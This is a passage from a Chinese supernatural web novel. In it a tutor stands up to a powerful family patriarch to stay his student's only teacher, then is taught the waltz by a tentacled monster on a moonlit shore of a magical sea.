见谢叙白毫无顾忌地下手,锋利的刀口将白皙皮肤压出一道清晰的血痕,江家主目眦欲裂,吼声破音:“给我拦住他!快——!” 保镖们一拥而上,上演兵荒马乱2.0,好不容易才拦下谢叙白。 “咳!咳咳咳!……” 江家主气不顺,捂着嘴巴咳嗽不停,掌心全是呕出来的浓血,面色铁青地看向谢叙白:“你以为死才是最可怕的?信不信我让你生不如死!” 谢叙白低笑起来:“看看您掌心的血吧,您还有这个时间吗?您大可用尽手段折磨我,看看到底是我先顶不住妥协,还是您先走。” 江家主登时被他气得差点又吐一口血,扶着胸口急促呼吸,拳头捏得咔嚓响。 正当这时,江凯乐门口的保镖过来禀报。 保镖被江凯乐的威胁吓得惊魂未定,看着怒火中烧的江家主更加不安,上前两步,想偷偷把话告诉对方。 本来就恼火的江家主当下怒道:“那小兔崽子到底想说什么,你直接说!” 保镖只能一五一十地复述道:“少、少爷说,他只认谢叙白是自己的老师,没有之一。” 谢叙白一愣,几不可察地勾了勾嘴角。 江家主:“……” 江家主揉了揉眉头,矛头再次对准谢叙白:“看看你教出来的好学生啊,谢老师。我都不知道在他的眼里,我这个做父亲和你这个老师比起来,到底谁最重要了。” 谢叙白看着江家主森冷的脸色,刻意停几秒钟。 而后他仰头,放缓语气低声说:“不,您是江少爷最看重的人,这点毋庸置疑。” “要不然他怎么还会托人来请示您,跟您撒娇,希望能放过我这个老师呢?” 江家主:“撒娇?这分明就是威胁。” “您知道江少爷的脾气,如果他真想放狠话威胁谁,那么现在早就冲过来了,可现在他并没有。” 谢叙白做出已经冷静下来的样子,条理不紊地说道:“这些时间,我一直在和少爷说,您是他的父亲,是给予他生命的人之一。江家是生他养他的地方,是他立足的根本。” “现在看来,我的教导没白费,少爷多少还是听进去了。” 这话有往自己脸上贴金的嫌疑,但确实不假。 老管家在监听时就听到过那些“教导”,当时他也如实上报给了江家主。 而且自那以后,江凯乐终于不再和江家人势同水火,他开始学着去送礼、交流问候、来往做客以示友好。 这是谢叙白无可指摘的地方,也是江家主非常满意的地方。 换个人来,说破天也不会让江凯乐多看一眼。 江家主缓了口气,到底没刚才那么愤怒,揉捏眉心说道:“就算江凯乐再多一个老师,你不也还是他的老师吗?” 谢叙白固执道:“再来一个那还能算‘唯一’吗?我必须保证自己身为老师的地位不会被动摇,这也是我唯一的要求。” “如果您不放心,怕我僭越。”谢叙白闭了闭眼,仿佛豁出去似的,“我听说江家有一种能够控制人的术法,您大可以用在我身上。” 江家确实有控制人的术法,就是那些缠绕在江凯乐身上的线。 不过这种术法存于血脉,只对江家人有用。 江家为了威慑外界,向圈内人宣称这种术法对所有人都有用,包括江家的下人。 江家主不知道谢叙白已从吕向财那里了解这种术法的本质,目光炯炯地盯着青年。 好半会儿,他的面色依旧阴冷,心里却逐渐放松。 江家主信了——相信谢叙白突然爆发,不是在挑战他的权威,而是之前一朝被蛇咬十年怕井绳,想要尽量把握住摇摇欲坠的权力。 “不用了,我相信谢老师的职业素养。”江家主坐下来,叹了口气,语气和缓,“其实找来这么一个礼仪老师,真没有架空你的意思,而是不久后我们几大世家决定开办一场舞会,让小辈之间多联系一下。” “在那之前,江凯乐必须学会一支最基本的交际舞。” 谢叙白几乎立马反应过来,这相当于世家之间的联谊会,为了日后好联姻。 至于没有架空他的意思,只能听一听。 真没想趁机塞人试探底线,怎么会不提前通知一下江凯乐本人?还特意等到他上完一天课,离开江家之后,才把礼仪老师叫过去。 江家主又说道,话中透出一点轻蔑:“谢老师,我也不是打击你,你没学过舞蹈,对交际舞更是一无所知。难道要我先找一个老师来教你,然后再让你来教江凯乐?” “这场舞会不可能取消或延期,对江凯乐更是至关重要。”他不容置疑地补充道:“就像你说的那样,我没有多少时间了。而江凯乐必须赶在那之前,以稳重、可靠的江家继承人身份,正式出现在其他家族的面前。” 谢叙白默了默,看似挣扎,实则沉思。 他抬头道:“离舞会还有多长时间?” 江家主听他的语气,好像还真想教,忍不住气笑:“就在下个月的20号,怎么,谢老师还是想试一试?要我给你多长时间,一年够不够?” “江少爷现在处于叛逆期,抗拒所有人,您要是换其他人来,十年都不一定够用。” 谢叙白平静地驳回江家主的嘲讽:“我只要五天,五天时间后,您可验收一下效果,再看看是否由我继续教下去。” 这场闹得人仰马翻的风波,终于在此告一段落。 江凯乐等在房间里,面上看着稳若泰山,实际放在桌兜的手指头几乎把木板抠出一个洞。 当谢叙白熟悉的身影出现在门口时,他双眼放光,直接从椅子上蹿了起来:“老——” 再然后,江凯乐就看到了谢叙白脖子上的创可贴,瞳孔骤缩,像被冻住一样僵在原地。 谢叙白摸了摸脖子。他下手很有分寸,一张创口贴足够应付:“没关系,小伤口。” 那把折叠刀自然被江家主叫人收走了。 老管家因为没发现他随身带刀,监督不力,被江家主劈头盖脸一顿骂,他走出去十几米还能听到骂声。 江凯乐张了张嘴,语气沙哑得不行:“……这不是伤口小不小的问题。” 那可是脖子啊,人体的致命部位。他简直不敢想象,自己的老师刚才经历过什么。对江家主的愤懑再一次被点燃,同时还有对自己无能为力的自责。 江凯乐声音颤抖:“我忤逆他们,最多被罚一顿,反正也不会死,您何必呢,只为了给我出气……” 谢叙白猝然一顿,皱眉按住少年的肩膀,让他和自己对视,严肃至极,震声怒斥:“江凯乐,你听着,我没那么无私。我这么做是为了保全自己能成为你唯一的老师,维护自己的地位,用不着你来自责!” 江凯乐呆呆地看着谢叙白。 他不知道自己先前在和礼仪老师对峙的时候,眼睛浮现出一抹猩红血色。 更不知道刚才情绪波动剧烈,身体冒出一股浓郁的黑气。 那些都是将要异化的征兆。 但谢叙白看见了。 他不能让少年继续滋生怨气,加剧异化的速度,所以一反常态出手揍人。 正好借此和江家主对峙,让后者保证不再强行塞人,刺激江凯乐。 对谢叙白来说,他需要冒这个风险,也必须冒这个风险,最后的结果也在他的意料之中。 如果有可能,他想等伤口好了之后再和江凯乐见面。但少年爱胡思乱想,没真正见到他的人,确认他的安危,可能会做出一些激烈的举动。 他也不能戴条围巾或换件高领衣服,那叫此地无银三百两。 江凯乐看他半晌,谢叙白的眼神就像镇定剂,让他根本没法继续埋怨自己,不知不觉中蔫了下来:“骗子……” 你根本不是那种看重利益的人。 “乖了。”谢叙白揉了揉江凯乐的头发,柔声笑着说,“你在电视上看到的那些大侠,他们不是一样会受伤流血吗?” “而且告诉你一个好消息,你父亲终于承诺,不会再给你找别的老师!” 为了让少年转移注意力,谢叙白语气欢快地提起自己刚争取来的权利,陡然话锋一转,表情苦兮兮:“坏消息是,这有个前提条件,就是在下个月世家举办的舞会前你至少得学会一支交际舞。但——!是——!” 啪! 谢叙白用力拍打江凯乐的肩膀,声调陡然高扬起来,郑重其事地说:“老师相信,一支小小的交际舞一定难不倒咱们的江少侠,对不对?” 江凯乐被他拍得龇牙咧嘴。 再看谢叙白有声有色、生动活泼的表情,少年终于被逗笑,脸上的阴郁随之一扫而空:“老师你简直比我还幼稚。” “肯定的。”他深吸一口气,承诺道,“一定不会辜负老师的期望。” 当天离开江家之前,谢叙白特意找江凯乐借来条围巾,又借浴室洗了个澡,最后去厨房转了一圈,染满各种肉味。 狗子平安等在江家门口,看见他后高兴地扑上来,又顿住,疑惑地在他围巾上嗅嗅。 谢叙白面色不改,等它嗅了两三秒后再疯狂揉动狗头,轻笑道:“这可是学生送我的第一件礼物,你可别把它咬破了。” 平安被揉得头晕眼花,听到他的话,无语地扭头:“汪。” 它可乖了,又不是那种调皮捣蛋的狗,从来不咬东西不拆家。 而且第一次礼物只送一条布,这学生也不怎么样。人类要是喜欢,哪天它去狗咖打工,买一百条! 晚上打视频,听谢叙白说想找个舞蹈老师,吕向财不假思索地道:“没问题,明天我就给你派一个过去,保证专业。” 没有舞蹈基础的,想在短时间学会,最好是请个教练一对一真人教学。 谢叙白:“期限只有五天,我想抓紧时间,今晚就开始练习。”这样明天早上就能直接去教江凯乐。 “嘶,有点赶。”吕向财看了看时间,“我试着联系一下,你等等。” 话音未落,小触手就兴致勃勃地冒了出来。 【我可以教你哦!】 谢叙白有点意外,对还没下线的吕向财说道:“小一说它可以教我。” 小一是小触手的名字,它自己告诉谢叙白的。据说它还有七个兄弟,大部分在睡觉。 果然是章鱼怪啊。这是谢叙白听到它还有七个兄弟后的第一反应。 “它?” 吕向财看着翘起尖尖“昂首挺胸”的小触手,感觉不太靠谱,但想到它是那位的躯壳,也没直接否定:“你可以让它先试试,我这边继续联系。” 谢叙白点头。 等吕向财挂掉视频,他看向小触手,柔声问:“乖,那就麻烦你了。我第一步应该做什么?” 小触手和宴朔共享记忆,脑子里确实有一段久远且模糊的片段告诉它,宴朔曾苦练过一段时间的舞蹈,跳得非常好,只是从来都不展示给外人看。 但谢叙白可不是外人,是它喜欢的人类! 跳舞需要两只手,一根触手可不够。 小触手对谢叙白匆匆说了一句等等,便转身钻进阴影里。 盛天集团大厦顶层,宴朔正在核对清算后的员工死亡名单。不为别的,他得保证没有一个“人”逃出去。 小触手风一样出现在他的面前,动作太快,有点刹不住脚。 细长的触手尖一个“甩尾”,啪! 直接将宴朔手中的名单扎了个洞穿。 同时小触手迫不及待的喊声响起。 【你帮我喊醒小二,我们去教白白跳舞!】 宴朔:“……” 他缓缓低头,看着被黏液润湿的名单,以及上面偌大一个窟窿,眯了眯眼睛。 第28章 你为什么愤怒 小触手说等等就好,谢叙白便坐在在一旁,看着桌上碗大的阴影静等着。 但七八分钟过去了,电脑上讲解交际舞的演示视频逐渐步入尾声,吕向财也来消息说已经找到舞蹈老师,他马上安排直升机将人带过来。 小触手那边还是没动静。 谢叙白回了个好,瞄着黑气溢散的阴影微微蹙眉,有些担忧。 不会出什么事情了吧? 正当这时,一截漆黑触手从阴影中缓慢探了出来。 原本只有碗大的阴影,忽然朝外扩大许多倍,眨眼间占据了客厅空地的四分之一。 它就像一个小小的黑暗湖泊,深邃寂静,随风荡开细微的涟漪。 而那截触手则舒展身躯,带吸盘的腹部朝上摊开,宛如人优雅地伸手,对外做出一个邀请的姿势。 谢叙白试探性地碰了碰,听到小触手的声音在脑海中急切响起。 【白白!】 小触手叫完一声就停了下来,不知道是不是在等他。 谢叙白直觉怪异,眉头更紧一分。 他捏了捏触手,和小触手的质感一模一样,沉吟半秒,回头叮嘱平安它们:“我先离开一下,如果吕向财请来的客人到了,麻烦你们先帮我招待下他们。” 见小家伙们点头,谢叙白又发消息给吕向财,大致讲明自己这边遇到的情况。 两分钟后,吕向财仍然没回消息。 空气中弥漫着丝丝缕缕的水汽。 湿冷,黏腻。 气温不知不觉下降好几度,刺激得皮肤泛凉。 谢叙白再次看向那安安静静等待着自己的漆黑触手,一把握了上去。 触手被握入掌心的刹那,浸骨的寒意就像电流般转瞬传遍谢叙白的全身! 同时阴影活过来,如大海浪潮般剧烈翻涌,将他完全包裹其中。 谢叙白忍不住打了寒噤,脸皮被冻得发白。 但他不仅没有松手,反而眼神一凛,更紧更稳地握住那截触手,任由对方将他带入深邃未知的黑暗湖泊。 待到他彻底消失后,乖巧得像雕像一样蹲坐原地的狗子眨了眨眼,又眨了眨眼。 看着空无一人的客厅,嗅着空气中湿冷阴寒的水汽,狗子像是猛然意识到什么,瞳孔骤缩,冲着谢叙白气息消失的地方疯狂大叫。 “吼!吼!!” 而谢叙白手机屏幕上毫无动静的聊天框,也像突然按下播放键,二十多条消息在半秒内疯狂弹出,提示声如警报般尖锐地响起! 吕向财:【?????】 吕向财:【别去!】 吕向财:【谢叙白你看到没有别去!!!!】 …… 另一边的谢叙白感觉自己仿佛掉进了千米下的深海,冰凉咸腥的海水浸入皮肤,思绪在水流的挤压下越来越沉重,四周昏暗无光,静得听不到一丝声响。 他的身体宛如一叶扁舟,随水游荡,浮浮沉沉,视线往上,只能遥遥看见头顶不知道距离多远的海平面,洒落着苍白朦胧的月光。 这样的状态没有持续多久,一根粗壮的触手捞着谢叙白的腰肢,将他带出海面。 破水而出的一瞬间,谢叙白昏沉的大脑乍然清明,涣散的瞳孔蓦然凝聚。 出生到现在的记忆、对世界和自我的认知,全都如风暴般重新挤入脑海! 这感觉不好受,比他第一次觉醒还要刺激。谢叙白感觉到一阵难以言喻的眩晕和恶心,忍不住捂住嘴,用力呛咳。 “咳咳咳!咳咳……” 【你这个坏人!我让你叫小二出来帮白白,没让你欺负他呀,你到底在干什么?】 看到这一幕的小触手简直要气炸了,如蛇般绞在宴朔的手腕上狠狠用力。 宴朔的皮肤被勒红,在吸盘的狠劲儿下被狡出触目惊心的褶皱,但他却仿佛感受不到疼痛一样,面无表情地将小触手“撕”了下来,冰冷地盯着它。 他觉得自己最近似乎过于纵容这条脱体的躯壳。 别的不提,领域(充当传送门的阴影)是能随便丢在外面的东西? 因为小触手平时都带着领域到处跑,没惹出过乱子,他便没有管束。 但刚才,小触手竟忘乎所以,把领域单独留在一名人类的身边。 有主控制的领域只要不主动发起攻击,就是无害的。 而被放置的领域,会继承怪物贪婪的本性,自发地侵袭周遭,无限扩大自己的领地。 在谢叙白决定跟他走之前,那只A级诡王已经受到领域的影响,变得木讷呆滞。 如果谢叙白再晚一步拉住他的“手”,那么将变成宴朔毫不客气地将青年拽入无垢之海,借此清洗掉青年浑身的黑暗气息,以免原地诞生出下一个诡王。 小触手对自己的危害性无知无觉,还在那吵吵囔囔,恨得想咬下他一块肉:【说话啊你,混蛋!】 这就是怪物的无知和劣根性。 它们喜欢随性而为,却永远意识不到自己一个不经意的小举动,会对普通人类造成多么大的打击。 宴朔听着它喋喋不休的叫嚷声,暴戾沉郁的情绪自心底油然而生,捏住小触手的身躯,缓缓收紧。 躯壳表露出来的本性,也是他强行压抑住的本性。他难以忍受躯壳产生的麻烦,那让他不得不正视自己的恶劣,继而自厌、反感,想要摧毁些东西。 也是这个时候,谢叙白终于喘匀了气。 他仰头注视眼前被阴影包裹而变得模糊不清的人形轮廓,仿佛能隐约看见对方手中不断扭动挣扎的小触手,动作快过思维,一把拽住宴朔:“请等一下!是我拜托小一来请求您帮忙的,如果感到冒犯还请消消气!” 骨节分明的手指像细长的白玉锁扣,箍在宴朔的手腕上。 有力,坚定。 如同刚才察觉出异状,却更用力地反握住触手时那样。 宴朔的动作不可避免地一顿,扯眉朝满脸焦急的谢叙白看过去。 青年的动作可以反应出很多东西。 比如对方早已察觉出刚才露在外面的漆黑触手不是小一,但他选择跳进领域,义无反顾。 比如对方知道自己的危险性,却还是毫不犹豫地选择接近,为的,不过是手里这只差点犯下弥天大祸的小怪物。 月光笼罩大地,为这片孤寂的空间镀上一层朦胧柔和的光晕。 远处大海波澜不止,海浪拍击岸边,月光下溅起白色泡沫,声音深沉而悠扬。 谢叙白的脚踩在细软的沙滩上,定定地凝视着宴朔。 他脸上海水未干,晶莹细小的水珠悬于狭长眼睫,似缀在画上的珠饰。一双澄澈坚定的眸眼倒映着苍白月光,此刻熠熠生辉。 宴朔的眼帘几不可闻地颤了下,紧攥小触手的手指微微松开。 他问道:“既然知道黑暗后面另有其人,还选择跟我过来,难道不怕我杀了你?” 谢叙白听他语气还算和缓,紧绷的内心稍微放松,摇头解释道:“如果您真的对我有恶意,那么在您出现的那一刻,我就已经死了。” “此外,我相信,既然能教导出小一这么乖巧懂事的孩子,您应该不是什么坏人。” 是的,在触及宴朔触手的那一刻,谢叙白便已顿悟,吕向财应该不是小触手的本体。 至于本体是谁,他心里刚有个模糊的猜测,脑袋就不受控制地痛起来,剧烈到仿佛能让他当场痛晕过去,只能立刻刹住猜想。 听到谢叙白对小触手的评价,宴朔偏了偏头。 他不想让谢叙白看到本貌,所以一直是被阴影覆盖的状态。 此时左手一抖,上面的阴影退散,露出一只还在疯狂“啃咬”他的小触手。 皮肤红得惊心动魄,几乎被吸盘磨破一层皮。 宴朔轻嘲:“乖巧?懂事?” 谢叙白:“……” 他默了默,迟疑地呼唤道:“小一。” 听到熟悉的呼喊声,小触手动作一滞,眨眼功夫原地消失,从宴朔的掌心飞到谢叙白的面前,啪叽一下缠在青年纤瘦的手腕上。 它用尖尖轻拍谢叙白,声音乖巧又沉闷,饱含歉意。 【白白,对不起,我不该拜托这个大混蛋帮忙的。你还难不难受呀?】 一根触手,两副面孔,双标得淋漓尽致。 仿佛能感受到宴朔对小触手的死亡凝视,谢叙白一惊,连忙斟酌话语活络剑拔弩张的气氛:“两位或许有什么误会……” 他猝然反应过来,对小触手说道:“我没事,不难受,状态也很好。” 这不是假话,本来上过一天课,谢叙白的身体多少有点疲累,现在却一点不适的感觉都没有,精力相当充沛。 这对谢叙白来说是意外之喜,意味着他有更多的精力学习交际舞,忍不住看向宴朔问:“是您在帮我?” 那是浸泡无垢之海后的附加效果,宴朔本人没这个爱心。 但下一秒,谢叙白捏了捏小触手,哄它说:“所以小一刚才是不是误会了你家监护人?他没有想伤我,反而帮了我大忙。” 小触手被青年温柔地捏上好几下,懂他是什么意思,不情不愿地道歉:【对不起,行了吧。】 宴朔无所谓这根脱体的躯壳对自己是什么态度。 但看无法无天的小东西被迫收敛凶相,一副憋屈不服却不得不忍耐的样子,下意识扬了扬眉梢,认了青年的说辞。 小触手当然能感知到他微妙的心情变化,一时间气得吸盘痒痒:【我不想麻烦你的,你只需要帮我把小二叫醒……】 它真的很想帮喜欢的人类,甚至愿意软下语气,对厌烦的宴朔恳求道:【好不好嘛?求你了。】 见素来张扬的小触手为自己的事低声下气,谢叙白不免心疼,跟着诚恳地开口道:“和孩子无关,这是我个人的诉求,如果您愿意帮忙,我会支付报酬来偿还您的慷慨相助,只要这报酬我能出得起,什么都可以。如果您感到困扰或者有什么不便的地方,我再想想别的办法。” 宴朔没有吭声。 他对上谢叙白真挚的眼神,这名人类有一双叫人无法抗拒的眼睛。 但是他该怎么回答对方,根本没有小二这种东西? 小触手是唯一脱离本体的躯壳碎片,是个纯粹的意外。 所谓的小二、小三、小四等等存在,大可能是它太寂寞,臆想出来的兄弟姐妹。 却也不认真琢磨一下,如果八根触手都掉没了,作为本体的他还像个什么样子? 一大一小不明真相,还在凝视着他。 小的没眼睛可以忽略。可大的那一个,眼睛温润似水,无声且充满期许,盛满皎洁的月光。 宴朔闭了闭眼。 阴影从他身上展开,重新捉住小触手,不顾它的抗议,将它丢去一边。 谢叙白一惊,伸手想把小触手捞回来,却被阴影裹住手掌。 阴影中的两端分别分化出五根劲瘦有力的手指,穿入青年的指缝,和他的手掌紧紧地相扣在一起。 “它不会人类的舞蹈。”男人低沉且富有磁性的嗓音在谢叙白的耳边响起,“我只教一遍。” 靠得太近了。 谢叙白忍不住绷紧肌肉,屏住呼吸。他不曾和任何人这么亲密接触过,下意识有些抗拒。 只是敏锐如他,忽然察觉到一抹细微的,从宴朔的身体各处传达而出的某种情绪。 这股情绪让谢叙白意外感受到宴朔类人的地方,狐疑地看向对方。 同一时间,大片的阴影包裹住谢叙白的身体,不带有一丝感情或旖旎的味道,单纯化为辅佐机器,贴合他的关节和四肢。 一旦谢叙白动作出错,阴影便会在对应的地方拍打一下,提醒他回到正确的姿势。 谢叙白定了定神。 既然对方教得这么认真,那他也没什么可扭捏的,电光火石间已调整好状态,专心学习宴朔的舞步。 说来也凑巧。 刚才等待小触手的几分钟时间,只够谢叙白观看一支交际舞的演示视频。 刚好,就是宴朔现在教的这支舞——圆曲舞,也称华尔兹。 作为交际舞之一,它的难度并不低。风格是庄重典雅,华丽优雅,极具视觉效果。 而高低起伏的节奏正是它的特点,如波澜壮阔的大海,起伏不定的潮浪。 明明时间有限,应该挑那些简单的学,但谢叙白就是鬼使神差的,先点开了华尔兹的视频,由此阴差阳错地在脑海中把舞步过了个大概。 此时此刻,他专注起来,跟随宴朔的动作提步、旋转。 因为清楚自己的无力,所以他对什么都抱着认真学习,且必须要学到点东西的心态。 例如此刻,谢叙白并非完全依靠宴朔的引导和阴影的协调,而是不断地调整身姿,试图将视频的内容和现实教学契合在一起,去试着呼应每一个令他心动的节律。 恍惚中,耳边潮浪的声音越来越大,涌入他的脑海,撞入他的心扉。 宴朔忽然注意到,青年的眼神变了,变得深邃而幽静。 原本笨拙模仿他的舞步,逐渐变得自然流畅,并且随着时间的流逝,竟有了加快的趋势。 谢叙白已经不是在学他的步子了,是在追他的节奏! 短短几分钟,从没入门的新手到技艺熟练的舞者? 不可能。 宴朔心里认定,谢叙白以前肯定学过舞。或许是记忆有损,给忘了个干净,最初的舞步才会显得滞涩笨拙。 但刻入身体的本能不会说谎。 谢叙白当然不知道宴朔心中的惊讶和猜疑。 现在的他宛如一尾跃入深海的游鱼,与冰冷的海水融为一体。 海面澎湃汹涌,海下深邃静谧,两种不同的状态犹如高低起伏的音律,通过舞步鲜明地呈现出来,不断变奏,不断推进,情绪拔升再拔升! 浪潮起而圆舞生! 在月光的映照下,好似有一朵朵雪白的浪花自两人的脚尖生成。 宴朔说,他只教一遍。 但在谢叙白融入状态的这段时间里,他不知道和对方跳了多少遍。 或许是身为技艺高超的舞者,忍不住欣赏谢叙白所呈现出来的感染力。 或许是感受到谢叙白竟然隐隐有压过他的趋势,被冰封的内心也不由得点燃一丝久违的战欲。 当他们两个停下来的时候,已经是两小时后了。 并且不是宴朔主动要求暂停,而是谢叙白体力跟不上,差点腿软栽倒在地。 回神时,谢叙白被宴朔打横抱起,放在海水能冲刷到的岸边。 水流激荡,浸没谢叙白修长的小腿,也染湿了宴朔干净的胸襟,留下斑驳的印记。 谢叙白气喘不停,揉着太阳穴,调整呼吸。 他忽然感受到失去的力气正在一点点地回复,登时面露惊喜,看向身下的海水。 宴朔似乎知道他在想什么,冷淡地打消他试图钻空子的想法:“无垢之海只能帮你恢复肉体状态,无法填补你消耗掉的精神力。多来几次,你会陷入疯狂。” 谢叙白忽然脑袋上的小灯泡一亮:“也就是说,只要我恢复了精神力,就可以在这里继续练习下去?” 身为没有超凡技能的普通人,谢叙白只有一个恢复精神力的手段,那就是睡觉。 他的意思是,就算今天不能再浸泡无垢之海,那明天、后天、大后天不是又可以来泡两次吗? 多一天赚,多两天很赚,多三天四天那是超级赚。 宴朔凝视着谢叙白再度对他露出期许的脸,忍不住扯了扯嘴角,这是把他当成补血的工具人了? 也就谢叙白对他的身份一无所知,如果知道他是谁,还能像现在这样毫无负担地麻烦他? 宴朔知道谢叙白的眼睛不对劲,看着看着就容易妥协,于是他决定撇过头不看,起身冷冷地道:“泡好了就起来,我送你回去。” 谢叙白知道这是拒绝的意思了,不由得有些遗憾。 宴朔的教学真的很有帮助,他感觉自己瞬间就从一个什么都不会的小白,变成了娴熟的舞者。 难道是诡异的力量在发挥作用? 不管怎么说,对方帮了他这么大一个忙,谢叙白不太好这么死皮赖脸地占人便宜。 他看着宴朔刻意抬高的脸,从这个角度正好能看见对方颈侧紧绷的青筋。 或许是情绪不稳,连罩在这一块的阴影散开了都不知道。 “你有什么烦心事吗?或许我可以试着帮你解决。” “烦心事?”宴朔不知道这个人类现在又想演哪出。 “是的。” 谢叙白仔细观察着宴朔的反应,见对方好像不怎么反感,至少没有表现出反感抗拒的动作,才继续往下说:“我感觉得到,你很愤怒。” “原本以为是我和小一的请求让你生气或不耐,但是教我跳舞的时候,你的怒火也没消下去,一直维持着非常高涨的状态。” 如果宴朔在有意识地为某件事发怒,那么能激起这么强烈的怒火,他不可能忍住不去回想,一经回想,情绪就不可能毫无波澜,或升或降,总会有明显的起伏。 可宴朔表现出来的愤怒,是一种持续压抑的常态,如经年激荡的暗潮。 “你似乎愤怒了很久。”谢叙白望向他,说出自己最终的推断,“却不知道自己为什么愤怒。” 霎时间,宴朔的身体完全僵住了。 第29章 为了我们都喜欢的人类…… 苍茫的月光洒在沙滩上,咸腥的海风从岸边一掠而过。 宴朔站在原地,保持着头颅往侧上方看的姿势,像一尊纹丝不动的雕像。 他不言不语,看起来一点都没有被谢叙白说的话所影响。 但谢叙白的心脏却猛然一咯噔,直觉有些不妙。 要命的是他的直觉向来很准。 不过呼吸之间,海风呼啸而起,卷起大片细白的沙粒,演变成沙暴攀升云霄。 远处更是传来海啸奔涌的怒吼,漆黑的海岸线径直拔高,眨眼拉近几十米! ——情绪失控?! 丝丝缕缕的水汽冲刷在脸颊上,谢叙白在风浪中举起手臂遮挡,逐渐有些坐不稳。 眼看海啸将至,他反射性闭上眼睛,接着怀里就被扔来一个不断扭动的东西。 冰冰凉凉带吸盘,是小触手。 小一用触手尖尖艰难地揪住谢叙白的衣服,在风暴中被甩来甩去,愤慨的咆哮声被抖出颤音。 【嗷!嗷嗷嗷啊!他绝对,是,被你说破后,恼羞成怒!】 话音未落,冰冷的海水席卷岸边,呼啦一下淹没谢叙白和小触手的身体。 这海啸来时乍看直冲百米高,遮天蔽日,毁天灭地。 到了岸上,却又硬生生地刹住冲劲儿,只将这聒噪的一人一触手无情地“丢”出领域,未伤他们分毫。 “汪!” 房间里的平安刚叫完没几声,陡然看见谢叙白从阴影里掉了出来,连忙冲上去。 其他小家伙也是,来不及感受找到青年的惊喜,飞一般抵住人的后背。 谢叙白龇牙咧嘴地摔坐在地上,竟然不疼。 低头一看,才发现大片阴影稳稳地托在自己的身下,充当卸力的垫子。 再看身后,还有平安和猫猫狗狗们紧张兮兮地护着他。 “我没事,乖,别害怕。”谢叙白连忙伸手,挨个揉上一遍以示安抚,感动地亲亲它们的额头。 又把怀里眼冒金星的小触手捞起来,轻力拍拍帮忙缓解眩晕感。 阴影随之散去,消无声息。 这时,桌上的手机还在不断传来刺耳的消息提升音,没几秒变成亢长的呼叫铃声,看起来不是一般的焦急。 谢叙白快步起身走过去,看向屏幕的一刻,目光倏然定格在显示的时间上。 离他掉进那人所说的无垢之海到现在……居然才过去两分钟? 谢叙白定了定神,一瞬反应过来,无垢之海的时间流速似乎远慢于外界。 要是能一直留在里面的话,不知道能多学到多少东西。但看那人情绪不稳的样子,估计是不会再让自己进去了。 思绪轮转间,他接通吕向财的电话,听到那头传来焦急的呐喊,熟练地开口安抚:“别担心,我已经回来了。” “什么?!回来了……你真的进去了?”吕向财气息不稳。 电话被啪一声挂断,紧跟着吕向财的视频通话打了过来。 谢叙白知道好友很急,瞬间接通。 不用对方开口,他对着镜头张开双臂转了个圈,展示自己毫发无伤的身体,弯眸笑道:“看,真没事。” 如此,吕向财才稍微气顺了一些,攥着满是冷汗的手,庆幸地连声重复:“还好,没事就好。” 男人心慌意乱的样子和前几次失态对应在一起,让谢叙白倏然想通了一些事。 谢叙白本想多了解一下那个人的情况,但瞄着吕向财惨白的脸色,最终什么都没问,什么也没说,自然地转移话题。 “说起来舞蹈老师现在到哪里了,我是不是该准备茶水点心来招待对方,不知道最近的商店关门没有……” 吕向财见谢叙白低头琢磨,果真被拉回思绪,摆手道:“不用,我来安排,这些事情不值得你来操心。” 他没法离开盛天集团,意味着从今往后,哪怕谢叙白再像今天这样遇到生命危险,他也没法赶到对方的身边。 更极端点,如果谢叙白真的出事丧生,他连帮人收尸都做不到。 吕向财笑眯眯的表情下,含着对谢叙白随时可能出意外的恐惧,和无法言说的歉疚。 他会不惜财力物力,尽全力解决掉一切会干扰到青年的琐事,是投资,是在意,是弥补。 不多时,舞蹈老师到了,竟然是个褐发碧眼的外国人。或许是在国内生活时间已久,口音和谈吐方式已经本土化。弯唇一笑风韵犹存,很有舞蹈家的气质。 她带着任务赶来,谢叙白也顾虑着时间紧迫。两人没有多做寒暄,直接步入正题,开始教学。 让舞蹈老师意外的是,她本以为谢叙白是个新手,教起来会很费劲,5天入门的任务更是艰巨,哪想到青年抬腿就是一个优雅流畅的滑步! 舞蹈老师大吃一惊,忍不住抬手激情鼓掌。 “谢先生以前是不是专门练过一段时间形体?”她得了解谢叙白的具体情况,好制定对应的教学方案。 谢叙白摇头。 舞蹈老师继续往其他健身方面问,都得到否定的答案。 资料上说谢叙白没有任何练舞的经验,但这等娴熟优雅的姿态,没个三五十年绝对练不下来。 要不是谢叙白的脚和腿上一点练舞的茧印和疤痕都没有,她真怀疑对方的身份资料造假。 谢叙白趁机多找舞蹈老师问了一些有关练舞的教学经验,比如新手最常出错的地方,为指导江凯乐做准备。 舞蹈老师看出他的意图,同样也是吕向财事先吩咐过,她没有藏着掖着,将自己的经验倾囊相授。 “这个年龄段的孩子已经超过练习柔软度的最佳时间,所以你一定要注意……” 谢叙白拿手机备忘录记得很认真,认真聆听她的指点,不时点点头。 课后他礼貌地送走舞蹈老师,顺势回复几个江家人的消息,拿到本次世家联谊舞会的宾客名单。 没多久,吕向财充满揶揄的消息发了过来:【舞蹈老师刚才疯狂跟我夸你是百年难得一遇的练舞奇才,长相一绝眉眼如画,问我你有没有兴趣进军舞蹈界,她可以帮忙引荐投资人,前提是你必须挂牌成为她的弟子。】 吕向财:【发送[聊天记录截图]】 吕向财转述的消息比较平,但截图记录却能真实呈现出舞蹈老师激动亢奋的心情,对方甚至忍不住连发好几个感叹号。 【XXX(舞蹈名家):真的,吕,我不骗你!只要他同意学,必将成为界内一颗冉冉升起的新星,我可以拿自己的名誉担保!所以别耽误了孩子让他学!!】 吕向财:【阿梦莎只在真正生出爱才之心时才会情不自禁把对方称为“孩子”。】 吕向财:【不愧是你.jpg 抱拳.jpg 甘拜下风.jpg】 谢叙白悻悻地摸了摸鼻子,不好意思说自己这是靠诡异力量作弊得来的能力。 舞蹈老师的反应也很出乎他的意料,别看对方表面很好说话,其实也是个严格到一丝不苟的性格,刚才教他的时候百般挑剔,一会儿嫌弃他小腿肉太软,一会儿说他体力差得不行,一会儿叹息他学得太晚。 他没想到对方背后会这么大力地夸赞自己。 不过,舞蹈老师的肯定也带给了谢叙白莫大的信心,现在的他更有自信能教好江凯乐。 回头看见弹弹跳跳和阴魂们玩扑蝶游戏的小触手,他忍不住将它捞起来猛猛地亲上一大口,高兴地笑着说:“宝贝,你可是帮我了一个大忙!多亏你找来的外援。” 【!!】 小触手被青年温热柔软的唇贴着,整个一呆住,不敢相信发生了什么。 如果它的表皮可以像人脸一样呈现心情,估计现在已经红得滴血。 